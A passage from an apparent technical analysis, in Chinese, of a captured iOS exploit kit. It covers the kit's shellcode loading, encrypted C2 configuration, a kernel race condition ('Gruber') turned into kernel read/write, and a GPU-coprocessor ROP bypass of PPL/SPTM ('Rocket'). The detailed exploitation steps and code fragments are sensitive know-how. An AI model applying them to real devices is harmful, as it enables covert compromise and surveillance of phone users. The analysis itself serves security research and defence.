MOV             X11, X30
MOV             X30, X10
XPACLRI
MOV             X10, X30
MOV             X30, X11
BR              X10
否则必须通过间接跳转。请记住,攻击者无法生成新的 JIT 退出点,因为用于签名有效函数指针的密钥已被锁定,因此他们只能利用现有的退出点来获取调用原语。为此他们使用 JIT 操作函数 vmEntryHostFunction,这是一个非常简单的函数:
TEXT
global _vmEntryHostFunction
_vmEntryHostFunction:
    jmp a2, HostFunctionPtrTag
翻译为以下汇编:
TEXT
_vmEntryHostFunction
MOV             X13, #0x4911
BRAB            X2, X13
所以这是一个他们可以从 JIT 代码跳转到的函数,通过将 X2 设置为使用 HostFunctionPtrTag/0x4911 作为上下文签名的有效函数指针,他们可以进一步跳转到那个函数。所以分发中的流程如下:将所有参数推入栈以保留它们,跳转到 vmEntryHostFunction,设置然后跳转到一个 pacia 签名 gadget,该 gadget 将签名真正的目标函数指针。指向 pacia gadget 的函数指针在配置中正确签名为 signed_pacia1716_gadget。调用后恢复参数,然后通过 vmEntryHostFunction 调用真正的函数指针。
从高层来看,shellcode 将执行以下步骤:
  • 通过用不同的可能端口调用 task_info 来暴力破解 mach_task_self,直到调用成功
  • 设置一个大的上下文结构,包含各种辅助函数的函数指针,如链接器函数(dlsym、dlopen 等)和其他系统函数(如 sys_dcache_flush
  • 使用 COM 页检测 CPU 特性
  • 加载 MachO 并将其注册到 objc 运行时
  • 刷新数据和指令缓存
  • 从 MachO 获取符号 _process
  • 为执行做准备
  • 跳转到它

3.4.3.1. 补丁查找 objc 符号

(点击展开)
shellcode 使用两种有趣的策略来查找 map_images 的地址,它不是一个导出函数。对于第一种策略,他们将使用一个导出函数作为锚(在本例中是 _objc_flush_caches),然后使用 dladdr 调用直到 dli_saddr 改变来检测函数边界,从那里遍历 n 个函数直到找到正确的函数。对于第二种策略,他们基本上知道在 objc 数据段中 _objc_patch_root_of_class 紧挨着 map_images,所以他们将 dlsym 它,然后遍历整个数据段直到找到指向它的指针,从中可以相对读取出 map_images 的地址。

3.4.4. 嵌入的 MachO

嵌入的 MachO 将设置与 C2C JS 客户端通信的互操作函数,并实现解析 C2C 服务器配置文件、对其采取行动的函数,检测 CPU 特性和 iOS 版本(这也会检测”不安全”环境如 Corellium),以及检测宽松沙箱和在 iTunes Store(而不是 Safari)内的代码执行。主函数然后将对 Corellium、有效 CPU 和 hw.l2cachesize、没有 kern.bootargs 和没有 HOST_CAN_HAS_DEBUGGER 配置进行另一次环境检查。然后生成一个新线程,该线程将自己注册为 UIBackgroundTask,以便它可以与 JS 并行运行,允许轻松的网络通信。后台任务将可选地向 C2C 服务器发送日志。
线程启动后,会从服务器下载一份配置文件。对于此捕获,那是 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js。文件使用 ChaCha20 加密并使用 LZMA 压缩。只有当头部为 0xBEDF00D 时才进行解压缩。之后解析配置。我也写了自己的解析器,所以我们可以看看里面:
TEXT
python3 parse_config.py ../processed_files/28_7a7d99099b035b2c6512b6ebeeea6df1ede70fbb_decompressed
elem: 0x70000 0x3 @ +0x18 (0x878)
0xf2300000 6c682a65deb7cf020dd640d130a2a73e9442ccddc441520c951620a4142605ad b'4800048658463f971e752ff93c1767e9ae7f3431.min.js'
0xf3300000 230ddaa380a7899e52be22cc926a4b7609303e14c3ed55d59049d3b20ee12974 b'b442ab113b829ff8c7bf34afa4d2d997889f308f.min.js'
0xf2400000 176f3b0d80c6c94f5bcc3e638185d1a4a057a859141b569f877468cc7bd7c149 b'5258f6e3eef3eda249179aa1122b50b03cbeea18.min.js'
0xf3400000 e6542d26109c5c3aa4f33c9ee07d69dc58ef66e81a7c20c2447cff7fe9f45a0c b'a78a94196b5d2c95865f6a8423a6b8eb86d07c6c.min.js'
0xf2700000 50a323f335f2bf4634b8f13526dc46f73d6ae15d4960d1f72e601aa4e733a7ec b'38af3c8ba461079a0edc83585023f76843066dcf.min.js'
0xf3700000 cab13d34917b6f5bdcfc69d7c668021b735a4d82b05b0918b9e228dc1860988e b'1334417664270db20af705f422878c53c8378203.min.js'
0xf2800000 6662406a17f3a38fdbbf9938d3c4c07b649ad22cf6d6f4c00bc9db96910b3817 b'226cbd845c5f470075505392be8693ec6d4f5ba3.min.js'
0xf3800000 fdd8b3940d2a06b0229d814e874095fd1fa87cb53db4699ba9dd8dd7370cf8cc b'ae7efd66ecde9e964cfe92f64e9b6461fce38f28.min.js'
0xf2900000 8360789e772f55126e9114dc7965d3162d6b7a781ddfa69be0971c66f04e6045 b'7a1cef00016b950be42f5288ead21fa6fccc3107.min.js'
0xf3900000 388976a2cdce966476ddc0f79249081ec182efc26808beb2e2e456f8c4809535 b'377bed7460f7538f96bbad7bdc2b8294bdc54599.min.js'
0xf3730000 3cb781d9c1ade5c3b54606839baa51f5c5751f73f0cd055fc101e41d467403d7 b'c8a14d79a27953242d60243ee2f505a85d9232cc.min.js'
0xf3830000 bdff99612a2aa99aef5cd7845d7f0b06a77c36d4f674fab7939799a39b8f78b1 b'1b2cbbde08f8b2330b7400abcb97c9573973e942.min.js'
0xf2750000 58199343c3811b01adda525bc08fcf135c6369fb3bdc3d52ca2374491e789f48 b'e9f898587620186e31119fbf32660f26c1e048e0.min.js'
0xf3750000 a6244c09c0588cf126ad727f75a647132543239c8b8fff5d362d56b616752327 b'f4120dc6717a489435d86943472c5a2444aac8e6.min.js'
0xa2050000 7da5f7d73e652aa782c89a883c27d0898affddf5d13b5914423a66a15ad3b319 b'f8a86cf368fdbbe294813926a2a229df041eb758.min.js'
0xa3050000 c02c657bb22d6cfc6aed70143f1fc8fbd44f33dbe6e12979d10c7891dcfc25c7 b'72a5ac816709f9c331f2b3afb76cd3d96517ea14.min.js'
0xa3060000 338bf220589af21d44e4dda167fab47c99040da951c40406ff99b5c4cc48735e b'980c77f1747afa9ac1fa5f8fbfb9e6663e9f82bb.min.js'
0xa3030000 be7efb67c5b39656f00f03b5a06593bf41bd760e5280a887f0a701226f39c3c8 b'5e89f83ec50c6223d664d3f3260ef874a3d6d796.min.js'
0xa3040000 a19b901b47f9dd7b86ca75fa1d25bd4404e9cdd2e2bf56722149fc213434f00e b'2a1d692b7b5ba793527b2c14b48db21a3e5d2c5f.min.js'
基本上这个配置文件包含一个类型为 0x70000 的元素,这也是预期的,然后在里面有一个 <类型><ChaCha20 密钥><url> 元组的列表。选择代码支持高位为 0xA2000000(arm64)和 0xA3000000(arm64e),以及基于 CPU 特性/Core 代的低位为 0x300000x400000x500000x60000(用于宽松沙箱情况),以及版本/型号的 0xF1000000(非 ARM)、0xF2000000(arm64)、0xF3000000(arm64e)和 0x9000000x8000000x7000000x4000000x300000。对于我们的捕获,选择了 0xF3900000。由于一个逻辑错误,“.min” 实际上被剥离了,文件以常规 .js 形式下载。所以在我们的情况下它下载 377bed7460f7538f96bbad7bdc2b8294bdc54599.js。解密和解压缩后我们得到以下文件:
TEXT
elem: 0x80000 0x3 @ +0x78 (0x37e40)
elem: 0x90000 0x3 @ +0x37eb8 (0x516d0)
elem: 0xf0000 0x3 @ +0x89588 (0x2eb40)
elem: 0x70005 0x3 @ +0xb80c8 (0x2c)
elem: 0x50000 0x3 @ +0xb80f4 (0x610c)
elem: 0x90001 0x3 @ +0xbe200 (0x50a40)
elem: 0x70000 0x3 @ +0x10ec40 (0x1d4)
0x2900000 85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb b'4612aa650e60e2974a9ec37bbf922c79635b493a.min.js'
0xe2900000 b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2 b'4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js'
新配置(0x70000)包含 PE 的条目,套件稍后将下载(0xe2900000)。0x70005 是 PE 应该注入到的进程名称(在我们的情况下是 powerd)。其余文件是两个 MachO,我们将在接下来详细查看。
代码随后将使用以下 id 更新配置:
  • 0x70001:资源 url
  • 0x70002:ChaCha20 密钥
  • 0x70003:文档 url
  • 0x70004:用户代理
  • 0x70006:日志 url
之后返回新配置(0x70000)。如果 dyld_task_info.all_image_info_addr->jitInfo 未填充,它将获取 0x50000 然后加载 0x90001 作为 MachO,从中解析 _driver 并调用该函数。这然后生成一个新上下文,由主函数进一步填充。之后它将一些内存映射为 RW,将 0x50000 shellcode 复制到那里,保护它为可执行,并在上下文上做一些进一步的设置。之后无论 jitInfo+0x4000 如何都会被调用,上下文的部分被重新填充。最后加载 0x80000 并映射,从中检索 _start 然后调用此方法。0x90000 最终在 0x80000 内部被调用,然后包含主要的 LPE 和 PPL/SPTM 绕过逻辑。目前我没有对 0x900010x50000 进行任何深入分析,但将来我可能会回到它们。

3.4.5. 0x80000 MachO

受时间所限,我也仅对该 MachO 进行了高层审查。它似乎是 PE 编排器,加载主 PE MachO(0x90000),在其上调用 _driver 以获取上下文,然后调用此上下文内的函数来运行 PE、PPL/SPTM 绕过,然后加载植入物。

3.4.6. 0x90000 MachO

0x90000 MachO 是主要的 PE 阶段。其中包含 Gruber(内核 LPE)和 Rocket(PPL/SPTM 绕过)。具体来说,驱动结构中 @+0x18 处的函数负责启动 LPE。它将首先初始化一个非常大的 LPE 上下文结构。然后进行一些指纹检测。为 PE 本身初始化另一个上下文,运行它,然后引导一个内核解析框架。从那里它将开始提升权限。例如,它会找到 developer_mode_statusallows_security_research 并覆盖它们。@+0x20 处的函数将作为 C2C 函数,向调用者导出某些命令。其中一些命令需要 PPL/SPTM 写入原语,在这种情况下会运行 Rocket 来设置一个自引用页表项,然后用于绕过 PPL/SPTM 保护。

3.5. 内核读写(Gruber)

Gruber 是 vm_mapmach_make_memory_entry_64 调用之间的竞态条件,导致 vm_object 上的引用计数减少,然后可以将其转化为 pUAF,从中获得早期读取和物理映射原语。通过早期读取,他们可以解析每个要访问的虚拟地址到物理地址,然后使用物理映射原语来读写它。这也给了他们一个指向其任务结构的指针,从中可以轻松找到所有其他重要的内核结构。从那里根据版本,他们部署不同的稳定读写策略,我也将在这里描述。

3.5.1. 找出漏洞

由于该漏洞极其复杂,我认为带你走一遍分析过程,比直接描述漏洞本身更容易理解。我将跳过很多设置以保持这部分简短一些,我们将在漏洞利用部分中更深入地讨论这些。
最初,漏洞利用会寻找一个至少 18 页大的子映射(vm 深度为 1)。然后它为这些 18 页的每个竞态线程(数量取决于设备)创建内存条目端口。然后从这些端口中选择第一个用于主线程,并通过 vm_map 映射内存。之后他们分配一个比目标大小大一页的映射,并调用 vm_copy 从第一个映射创建虚拟副本到第二个映射。然后释放第一个映射。之后他们裁剪副本映射——这是通过在副本映射的最后一页上分配然后再次释放来完成的。这保证了副本映射的 vm_entry 只跨越它。设置完成后,漏洞利用正式开始。获取 vm_object 的引用计数(通过 vm_region_recurse_64)。这在整个漏洞利用过程中都会执行,以验证漏洞是否成功触发以及引用是否被减少。然后启动竞态线程,一旦它们就绪,它们尝试并行执行 vm_map 调用,而主线程执行 mach_make_memory_entry_64 调用。这两个调用都将第一个内存条目端口作为参数传递。mach_make_memory_entry_64 调用作为父条目,vm_map 调用映射该内存。vm_map 的参数是:
TEXT
vm_address_t addr = 0;
// ...
ret = vm_map(mach_task_self(),
            &addr,
            size,
            0,
            VM_FLAGS_FIXED,
            memory_entry_port,
            0x0,
            true,
            VM_PROT_READ,
            VM_PROT_READ,
            VM_INHERIT_DEFAULT);
如你所见,因为 VM_FLAGS_FIXED 被设置且 addr 为 0,此调用将始终失败并返回 KERN_INVALID_ADDRESSmach_make_memory_entry_64 的调用方式如下:
TEXT
mach_make_memory_entry_64(mach_task_self(),
                        &size,
                        0x0,
                        VM_PROT_READ,
                        &new_port,
                        memory_entry_port);
然后再次获取 vm_object 的引用计数,如果它没有增加,则竞态成功,否则重新尝试。代码期望最多减少与线程数相同的引用计数,这是一个很好的指标,表明 vm_map 调用正在减少引用——每个 vm_map 调用都有能力减少一个引用。
唯一容易获得的另一个好信息是,在 iOS 17.3 中漏洞被修补时,Apple 现在在 mach_make_memory_entry_64 中对父条目加了锁,而之前没有(感谢 Apple 最近发布了细粒度的 XNU 源代码!)。
仍然存在的主要问题是 vm_map 调用运行了如此多的内核代码(数千行),以至于很难弄清楚 mach_make_memory_entry_64 中的什么副作用导致了引用减少。我们尝试了静态分析来弄清楚这一点,花了 50 多个小时(感谢所有在语音通话中坚持的人!),但我们就是找不到根因。随后我想到一个办法:利用 Corellium 在内核中捕获两次执行跟踪,一次在竞态成功、引用减少时,一次在失败时。然后我可以比较两个跟踪,希望通过查看它们分歧的地方,根因就会显现出来。

3.5.1.1. 获取 Corellium 跟踪

(点击展开)
过去我使用过 Corellium 的 HyperTrace 功能来获取内核执行跟踪。“幸运的是”,该功能在我的 Corellium/型号/版本组合上出了问题,这导致我尝试了 CoreXight。这是一个基于 CoreSight 的更低级功能,允许完整的 VM 跟踪,包括用户态,这对此非常有用,因为它允许我在 vm_map 系统调用上对齐两个跟踪。
要启动跟踪,需连接到 Charm 控制台并执行 armtrace 命令:
TEXT
$ rlwrap socat - /run/charmd
armtrace name:<vm name> stream:/tmp/capture.bin filter:"clear: name:<process name>" el1:1
这将跟踪虚拟机 <vm name>,过滤进程 <process name>el1:1 指定我们要从 EL1 获取内核跟踪(而不是例如跟踪一个飞地)。跟踪将保存到 /tmp/capture.bin。重要的是,这会生成非常大的跟踪,这也使分析变得复杂,所以理想情况下你希望尽可能短地捕获。我基本上打开了两个面板,在第一个中快速触发,在第二个中运行我的漏洞利用重新实现直到成功,然后在第一个中快速停止跟踪(简单地发出不带任何参数的 armtrace name:<vm name> 将停止并保存跟踪)。
跟踪以自定义格式保存,但 Corellium 提供了一个工具(corexight)来解析它并将其作为非常大的文本文件输出。该工具还可以消费 MachO 以获取基本块信息并解析系统调用。我使用以下参数调用它:
TEXT
corexight /tmp/capture.bin -strace /usr/share/corellium/strace/ios-arm64.csmf -global macho:/tmp/kc@0xfffffff029d04000
第一个参数是跟踪文件,然后是系统调用定义以允许解析那些,然后是内核的 MachO。使用 @0xfffffff029d04000 你可以指定 MachO 的加载地址(对于内核你可以在 UI 的设置中找到)。
跟踪看起来像这样:
TEXT
5  1430 gruber           51072 > 0x00000001df14c1d4 mach_msg2 (...)
 5  1430 gruber           51072 0xfffffff02aacb474-0xfffffff02aacb477
 5  1430 gruber           51072 0xfffffff02aacb478-0xfffffff02aacb4bb
 5  1430 gruber           51072 0xfffffff02aacc560-0xfffffff02aacc563
我使用以下 grep 链对跟踪结果进行了预过滤:| grep gruber | grep -v "# exception" | grep -v "simulator break" | grep -v "now running in" | gzip,因为 corexight 只在 Linux 上运行,我想在我的 Mac 上分析跟踪。我基本上只过滤我的进程,过滤掉所有中断和异常,然后 gzip 结果以将其传到我的 Mac 上。
我的最终跟踪在开头存在一处微小差异(可能是系统调用入口期间的某些操作),但随后二者便严重分歧。寻找到分歧点之前的地址直接带我找到了根因。30 分钟的动态分析击败了 50 多小时的静态分析,所以如果你有可能这样做,我只能推荐这种方法。
所以感谢动态分析和跟踪,我们知道流程在 vm_object_copy_strategically 函数中分歧。这是一个辅助函数,它告诉调用者如何执行 vm_object 的副本。基本上,在 vm_map 流程中的这一点,内核需要决定如何为即将创建的映射提供后备内存。该函数将根据 vm_objectcopy_strategy 字段告诉调用者执行快速(MEMORY_OBJECT_COPY_SYMMETRIC)或慢速(MEMORY_OBJECT_COPY_DELAY)副本。为了使竞态成功,此函数需要将 copy_strategy 字段视为 MEMORY_OBJECT_COPY_SYMMETRIC,这将导致 vm_map 调用 vm_object_copy_quickly,但在此调用之前,mach_make_memory_entry_64 中的代码需要将 copy_strategy 更改为 MEMORY_OBJECT_COPY_DELAY。在这种情况下,vm_object_copy_quickly 将失败并返回错误,但外部调用代码没有检查返回值并盲目假设副本成功。在 vm_object_copy_quickly 成功的情况下,它将使 vm_object 的引用计数增加一,因此 vm_map 代码(盲目信任它成功)将在调用后无条件减少一个引用。在失败情况下,这导致引用计数减少过多。

3.5.2. Gruber 根因分析

mach_make_memory_entry_64 没有对父内存条目加锁,这允许它在锁外更改 vm_objectcopy_strategy 字段。如果竞态窗口正确对齐,并行的 vm_map 调用将在 vm_object_copy_strategically 调用期间将 copy_strategy 视为 MEMORY_OBJECT_COPY_SYMMETRIC,并决定调用 vm_object_copy_quickly,基于其返回值。但由于 copy_strategy 可以被更改为 MEMORY_OBJECT_COPY_DELAY,对 vm_object_copy_quickly 的调用可能会失败。vm_map 中的外部代码假设对 vm_object_copy_quickly 的调用总是成功并无条件减少了一个引用,在失败情况下这导致减少了一个过多的引用,然后可以将其转化为 pUAF。

3.5.3. 漏洞利用

高层准备步骤是为 pUAF 准备物理页空闲池,并准备映射和 Mach 端口以便能够喷射 vm_map_entryvm_object 对象。为此漏洞利用使用带有 MACH_MSG_VIRTUAL_COPY OOL 描述符的 mach_msg
为了保证正确触发漏洞,他们最初创建了足够的内存条目端口(等于竞态线程数)来引用 vm_object 至少与竞态线程可以减少的引用次数相同,以便在成功触发漏洞后仍然有 4 个引用,即使所有竞态线程都赢了。因此,在获取 vm_object 的引用计数后,他们使用这些端口减少足够的引用以降到 4 个引用。从设置中他们还有一个映射的 CoW 副本。通过将其换入,他们再减少两个引用。最后两个引用通过释放 mach_make_memory_entry_64 调用返回的端口来减少。这将以一种仍然留下指向映射物理页的悬空 PTE 的方式释放 vm_object,但将表示映射的 vm_page 返回到空闲池,这是一个经典的 pUAF 场景。对于较旧的 iOS 版本,漏洞利用的工作方式略有不同,这让我认为 CoW 换入将对象降到 2 个引用是触发机制的重要部分,但我对 vm 子系统内部的知识不够深入,无法确定这一点。他们现在有两个 UAF:他们想要的 pUAF,以及 vm_object 上的 UAF(因为 vm_entry 仍然指向它)。为了解决后者,他们尝试通过简单的 vm_allocate 调用喷射对象来重新分配 vm_object。具体来说,他们在这里传递 VM_FLAGS_PURGABLE,我假设这是为了避免从空闲池为这些对象分配物理页。为了知道他们已经成功重新分配了 vm_object,他们利用了 VM_REGION_SUBMAP_INFO 中的 object_id_full 只是 vm_object 的混淆指针这一事实。因此通过获取映射的 VM_REGION_SUBMAP_INFO(通过 vm_region_recurse_64)并查看 object_id_full,当 ID 匹配时他们可以知道是否成功重新分配了 vm_object。他们还尝试观察某种模式……
他们的下一步是使用内核对象重新分配 pUAF 的内存。为此在下一步中他们想要一个干净的物理页空闲列表,或者更确切地说知道内核何时开始消耗他们的页面。因此他们将分配内存并在其上放置一个标记,然后观察 pUAF 映射以查看标记是否出现,并在循环中继续直到它出现。
他们触发漏洞两次:一次使用 mach_make_memory_entry_64,第二次使用 mach_msg 调用来喷射 vm_objectvm_entry。然后他们通过模式匹配在 pUAF 映射上检测它们。对于 vm_object 他们:验证引用计数不超过 0x80、pp 链表是否合理、某些位域是否正确设置、最后大小是否匹配。他们只在第一个条件上拒绝,因为他们无法保证他们的 vm_object 是页面上的第一个或者是否是外来的,但然后使用其他检查来验证它是他们的。
对于 vm_entry 他们验证 links.prev 看起来像内核指针,以及他们的内存标记(0xcc)是否与喷射条目中的匹配。然后检查 links.startlinks.end 是否都指向正确的映射,以及条目在红黑树中没有子条目。

3.5.4. 早期读取

对于早期读取,他们将接收持有 OOL 描述符的 mach 消息,直到观察到 vm_entry 内的地址变为接收到的 OOL 描述符指向的地址。这意味着他们现在收到了正确的 mach 消息。如果他们没有观察到变化,他们将立即释放内存以避免进程使用过多内存;在识别出正确的消息后,他们将销毁所有其他消息。接收后,vm_entry 从 mach 消息内的副本映射移动到进程的 vm_map。然后漏洞利用可以对条目进行以下更改:将 links.next 指向他们想要读取的地址(加上偏移),通过将 links.end 减少一页来截断映射。此外,他们还通过设置 links.prev->links.next = links.next 从红黑树中移除条目。
然后他们在现在裁剪的页面上调用 vm_region_64。这导致 vm_map_lookup_entry 在遍历红黑树时找不到条目。vm_map_lookup_entry 的行为是返回在遍历期间当前条目的地址超过目标地址之前看到的最后一个条目。另一方面,vm_region_64 将返回下一个可用地址的信息。所以如果你例如在 0x0 上调用 vm_region_64 但只有 @ 0x4000 的映射,它会将地址设置为 0x4000 并返回 0x4000 处条目的信息。要达到此行为,它有以下代码:
TEXT
if (!vm_map_lookup_entry(map, start, &tmp_entry)) {
    if ((entry = tmp_entry->vme_next) == vm_map_to_entry(map)) {
        vm_map_unlock_read(map);
        return KERN_INVALID_ADDRESS;
    }
} else {
    entry = tmp_entry;
}
所以如果查找失败(从而返回它看到的最后一个条目),它将取 tmp_entry->vme_next 来获取下一个条目。在流程中他们然后完全控制了条目,幸运的是代码只从条目中复制信息而不对其进行任何其他验证,给了他们一个不错的读取原语:
TEXT
start = entry->vme_start;
basic->offset = VME_OFFSET(entry);
basic->protection = entry->protection;
basic->inheritance = entry->inheritance;
basic->max_protection = entry->max_protection;
basic->behavior = entry->behavior;
basic->user_wired_count = entry->user_wired_count;
basic->reserved = entry->is_sub_map;
*address_u = vm_sanitize_wrap_addr(start);
*size_u    = vm_sanitize_wrap_size(entry->vme_end - start);
basic 这里是返回到用户态的结构。读取后他们恢复原始值。

3.5.5. 物理映射原语

对于物理映射原语,他们将使用他们能找到的第一个 vm_object。从中他们剥离 internalalive 标志,然后添加 phys_contiguouspager_initialized 标志,并将 vou_shadow_offset 设置为他们想要映射的物理地址。然后他们可以通过 vm_map 映射此 vm_object,由于他们设置的标志,它将映射在 vou_shadow_offset 中指定的物理地址。从那里他们可以修改它。他们似乎然后进一步将其升级到另一个 vm_object,我不确定这样做的原因是什么。对于这个 vm_object,他们将偏移设置为 0,将 vou_size 设置为 -1。从那时起,他们可以通过在 vm_map 调用中将偏移设置为所需的物理地址来映射任何物理地址。

3.5.6. 进一步升级

他们可以读取 vou_owner 来获取他们的任务,从那里他们可以轻松解析其端口空间中的任何端口。我没有仔细逆向函数的其余部分,但其余部分似乎主要是清理所有对象以及导出原语以便常规读写函数可以使用它们。

3.5.7. 稳定读写策略

他们实现了 5 种不同的写入策略:通过 tfp0、通过 IOSurface(选择器 33)、通过管道缓冲区、通过 ioctl(FIOSETOWN)、通过他们的映射原语。他们没有使用最初设置的偏移量的映射原语,而是需要为此修改内核结构(我再次真的不理解为什么他们在这里复制原语)。为此他们需要一个 64 位内核写入。为此他们将在设置期间首先从 SpringBoard 窃取 IOGPU 端口,然后使用它创建一个 IOGPU 对象。然后他们使用原始映射原语映射此对象,并使用 IOGPUDeviceUserClient::s_delete_resource -> IOGPUDevice::delete_resource -> IOGPUResource::sharedRelease -> IOGPUDevice::decrement_allocated_size 作为 64 位递减原语来执行该写入。不确定为什么这种间接是必要的。
对于内核读取,他们有几种策略:通过 tfp0、通过 IOSurface(选择器 16)、通过管道缓冲区。最初,我不理解为什么他们甚至需要这些读取函数,因为他们可以使用映射原语将数据映射到用户态然后从那里读取,但 Alfie 正确地指出,为了读取 PPL/SPTM 保护的映射,他们不能映射它(因为那会导致内核崩溃),所以他们在这里提供这些原语是有道理的。根据版本(我假设还有沙箱),选择一个可用的原语。

3.6. PPL/SPTM 绕过(Rocket)

作为加载植入物前的最后一步,他们需要绕过 PPL(在现代手机上即 SPTM)。为此,他们获得 GFX(GPU)代码执行,击败该协处理器的 μPPL 实现,然后使用完整的 GFX 物理内存访问在 AP 上创建一个自引用页表项(PTE),他们可以用它来绕过 PPL/SPTM 写入保护内存。

3.6.1. GFX

GFX 是 Apple Silicon 上的 GPU 协处理器,运行自己的固件(RTKit 的一个变体)。AP 与 GFX 的通信通过两个内核驱动程序完成:IOGPU(高级驱动程序),以及 AGXG(低级驱动程序),后者在每个 Apple Silicon 代际上都有所不同。通常协处理器位于所谓的设备地址解析表(DART)后面,这是一个 IOMMU,限制协处理器对物理内存的访问。AP PPL/SPTM 将管理 DART 配置以确保协处理器无法 DMA 到保护内存。然而,GFX 并不位于 DART 之后,这可能出于性能考量,因为它需要访问大量内存,并在不同任务/内存映射之间频繁上下文切换。Apple 决定通过 GFX PPL 实现(他们称之为 μPPL)来缓解此风险;μPPL 负责确保即便攻击者在 GFX 上获得代码执行,GFX 也无法访问受保护内存。漏洞利用套件的作者似乎意识到这使得 GFX 成为 PPL/SPTM 绕过的首选目标,因为关注它的人更少,而且它在所有绕过中都被使用。

3.6.2. Rocket

在 iOS 17.4 中,有一个我将其与 Rocket 补丁关联的更改:GFX 的 __arm_arch_resume_uat 过去从内存加载 ttbr0/1 的原始值,现在不再这样做了。在该更改之前,当 GFX 从休眠中唤醒时,它会直接从内存加载根级页表的指针。这意味着如果攻击者能够控制内存,他们可以在唤醒时加载自己的假页表,允许他们绕过 μPPL,然后利用完整的物理内存访问在 AP 上创建自引用 PTE 以绕过 AP PPL/SPTM。

3.6.3. 漏洞利用

设置自引用 PTE 条目的函数最初会在 com.apple.iokit.IOGPUFamilycom.apple.AGXG kext 和 GFX 固件上做大量的偏移查找。之后它尝试从 backboardd 窃取 IOGPU 端口(不确定为什么他们需要再次这样做,因为他们已经从 SpringBoard 有了一个)。如果他们能获取端口,他们将创建一个新的命令队列和两个共享内存对象。然后他们将在两个共享内存对象上提交命令缓冲区,跟踪内核中的指针链以找到它们的内核地址,然后使用物理映射原语将它们映射到其地址空间。但该函数也支持在没有窃取端口的情况下操作。一旦他们有了所有偏移和 IOGPU 设置,他们将创建 GFX 的假页表并准备自引用 AP PTE 的映射。
为此他们使用另一种原语:kalloc 他们不拥有但由内核拥有的内存的能力。根据 XNU 版本,他们要么将 ipc_port_request_table 增长到他们想要的大小然后从受害者端口中移除它,要么有两种不同的方法使用 mach 消息的后端缓冲区来分配他们的内存。他们需要这样做的原因是让 GFX 内存即使在他们的进程不再存在后也能保持活跃。
映射准备就绪后,他们将设置一条旨在 GFX 上执行的 ROP 链。根据 SoC,他们执行三个 ROP 链之一。从高层来看,所有 ROP 链都围绕使用受控休眠状态进入休眠,以便在唤醒时由于状态控制他们将重新获得代码执行,并且还使用完全受控的页表运行。一般来说,他们的 ROP 链将:恢复入口点(以避免再次执行 ROP 链),设置休眠数据结构使其在受控页表下重新获得代码执行,返回到常规执行并等待休眠或自己触发它。然后一旦从休眠中唤醒并使用假页表重新获得代码执行,他们将在 AP 上设置自引用 PTE,然后优雅地退出 ROP 以继续常规执行。
为了启动该链,他们将在 GFX 作业列表中插入一个仅包含单个 GPU 栅栏/戳记操作的作业。这给了他们一个 GFX 上的 32 位写入原语。通过这个 32 位写入,他们覆盖电源线程的线程状态指针指向自己的(他们覆盖字节 1-5 以允许用 32 位完全控制指针,除了最低字节,然后将他们的假对象对齐到与原始指针相同的最低字节)。这允许他们在电源线程再次被调度时获得代码执行。当他们拥有窃取的端口时,可以轻松使用外部方法向 GFX 提交作业(并修补数据结构以插入那个格式错误的栅栏操作);而没有端口时,则将使用物理映射原语映射作业列表,并直接将作业插入其中。

3.6.3.1. GFX ROP 链

(点击展开)
GFX ROP 链基于这个 gadget:它允许他们加载所有寄存器并通过将 ELR_EL1 设置为他们想要跳转的第一个地址并将 X30 设置为第二个地址来执行双跳。在实践中他们通过将 X30 设置回同一个 gadget 来获得另一次调用来进行链式操作。对于修改内存他们使用 str x1, [x0, x2]; ret gadget。
ROP 链存在三个不同版本。
对于 A13,在执行之前他们将(使用 AP 物理读写)修改 rtk_crt_mmu_gxf_stack_size 为 0x4028 而不是 0x4000 字节,使其与数据中的一些变量重叠,包括 μPPL 错误状态。然后在 ROP 链中他们将:恢复作业列表(如果漏洞利用没有窃取的 IOGPU 端口)、通过 genter 调用 μPPL 来重新映射休眠上下文(genter 命令 0x10)、用他们的第一个假休眠上下文覆盖指向休眠上下文的指针、恢复电源线程(他们用于劫持代码执行的)、恢复 TPIDRRO_EL0 的正确值并继续常规执行、然后在某个时刻 GFX 将进入休眠然后唤醒时加载第一个假休眠上下文(这将让他们重新获得代码执行)、在获得新上下文中的代码执行后他们将设置一个带有假页表的假休眠上下文、覆盖休眠上下文指针以指向假上下文、恢复 TPIDRRO_EL0 的正确值并继续常规执行、新的假上下文将使用命令 0x24 调用 genter(0x24 不是一个有效的 μPPL 命令,所以处理程序会将命令缓冲区指针写入数据段以便外部处理代码可以崩溃并提供调用作为上下文;因为他们覆盖了 rtk_crt_mmu_gxf_stack_size,栈目前与这些数据全局变量重叠,允许他们粉碎 x30,这将调用 ldp x8, x0, [x28];mov x1, x20; mov x2, x21; blr x8 gadget;通过在 genter 调用之前将 x28 设置为他们控制的内存,他们现在在 μPPL 上下文中拥有代码执行)、这个 μPPL 下的最终 ROP 链将休眠上下文恢复为原始值、在 GFX 上创建一个假 PTE 条目、执行 tlbi vmalle1is; dsb sy; isb; ret、在 AP 上创建自引用 PTE、使用受控休眠上下文调用 resume_uat 以继续常规代码执行。
在 A14-A17 上他们将:恢复作业列表(如果漏洞利用没有窃取的 IOGPU 端口)(通过 str x1, [x0, x2]; ret)、恢复电源线程的线程状态、正常调用 arm_arch_hibernate_uat 来转储休眠状态、将假 ttbr1 页表层次结构插入休眠状态、将 @+0xD8(TPIDRRO_EL0)设置为电源线程,将 @+0xC8(SP)设置为下一个 ROP 链、通过向 0xfffffc1100160008 写入 0x0 来重置 L2C 错误状态、执行 dsb sy; isb; ret、向 0xfffffc1100170000 写入 0xFFFFFFFF80000000 以进入休眠、自旋、然后他们将在自己的 ROP 链中唤醒使用假页表、所以现在他们可以在 AP 上创建自引用 PTE、最后他们从 TPIDRRO_EL0 加载原始电源线程状态继续常规执行。
感谢 Plx 的推文,我们现在知道 0xfffffc1100160008 指向 GFX 的 L2C 错误状态,0xfffffc1100170000 指向 ASC 调试覆盖寄存器。我不确定为什么他们需要清除 L2C 错误状态或为什么他们在调试覆盖中写入第 31-63 位,但第 39 位是 force_core_ret_reset,所以我假设这是核心重置和加载休眠上下文所需要的。
